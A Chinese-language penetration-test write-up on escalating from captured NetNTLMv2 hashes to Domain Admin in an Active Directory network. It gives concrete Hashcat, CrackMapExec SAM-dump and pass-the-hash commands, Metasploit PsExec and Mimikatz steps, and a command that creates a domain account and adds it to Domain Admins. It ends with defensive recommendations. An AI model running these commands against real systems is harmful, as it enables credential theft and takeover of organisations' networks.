从外部Active Directory获取域管理员
字数 1804 2025-08-18 11:37:07
从外部Active Directory获取域管理员权限的渗透测试方法
概述
本文详细记录了一次通过外部Active Directory环境获取域管理员(Domain Admin)权限的完整渗透测试过程。测试者从初始访问开始,逐步提升权限,最终获得域控制器的完全控制权。
初始信息收集
- 工具选择:首先使用Responder工具尝试捕获本地子网上的LLMNR或NetBIOS请求中的Windows散列
- 环境限制:发现管理员已禁用LLMNR和NetBIOS请求
- 意外收获:仍捕获到主机172.16.157.133发送的FRONTDESK账户的NETNTLMv2哈希值
哈希分析与破解
-
哈希类型识别:
- 使用Crack Map Exec(CME)检查NetBIOS信息
- 确认格式为:
[SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK
-
哈希破解:
- 使用Hashcat进行破解
- 命令:
hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule - 成功破解出明文密码:
Winter2018!
本地权限提升
-
验证凭据:
- 使用CME验证破解的凭据
- 命令:
cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth - 结果显示"Pwn3d!",确认是本地管理员账户
-
获取本地哈希:
- 使用CME dump本地SAM哈希
- 命令:
cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam - 获取到NTLM哈希:
aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f
横向移动
-
哈希传递攻击:
- 使用获取的本地管理员哈希尝试访问其他主机
- 命令:
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
-
发现域成员:
- 发现STEWIE机器使用相同密码
- 确认该主机属于MACFARLANE域
域权限提升
-
获取域访问:
- 使用Metasploit PsExec模块传递NTLM哈希登录目标机器
- 成功获取shell
-
使用Mimikatz:
- 加载Mimikatz模块读取Windows内存
- 成功获取域管理员(DA)账户凭据
最终控制
-
添加域管理员:
- 使用CME在域控制器上执行命令
- 命令:
cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add' /y参数允许添加长度大于14字符的密码
-
获取证据:
- 成功进入域控制器远程桌面
- 截图作为渗透成功的证据
防御建议
- 禁用LLMNR:在组策略中禁用LLMNR,防止攻击者获取初始访问权限
- 使用LAPS:实施Microsoft的本地管理员密码解决方案(LAPS)管理本地管理员密码
- 设置FilterAdministratorToken:防止本地RID 500账户进行SMB登录
- 密码策略:避免在域内外使用相同的本地管理员密码
关键工具总结
- Responder:用于捕获网络认证哈希
- Hashcat:用于破解哈希
- CrackMapExec (CME):用于SMB扫描和命令执行
- Metasploit:用于获取shell和加载Mimikatz
- Mimikatz:用于从内存提取凭据
攻击链总结
- 捕获NETNTLMv2哈希 → 2. 破解哈希 → 3. 获取本地管理员权限 → 4. Dump本地哈希 → 5. 哈希传递攻击 → 6. 发现域成员 → 7. 获取域凭据 → 8. 控制域控制器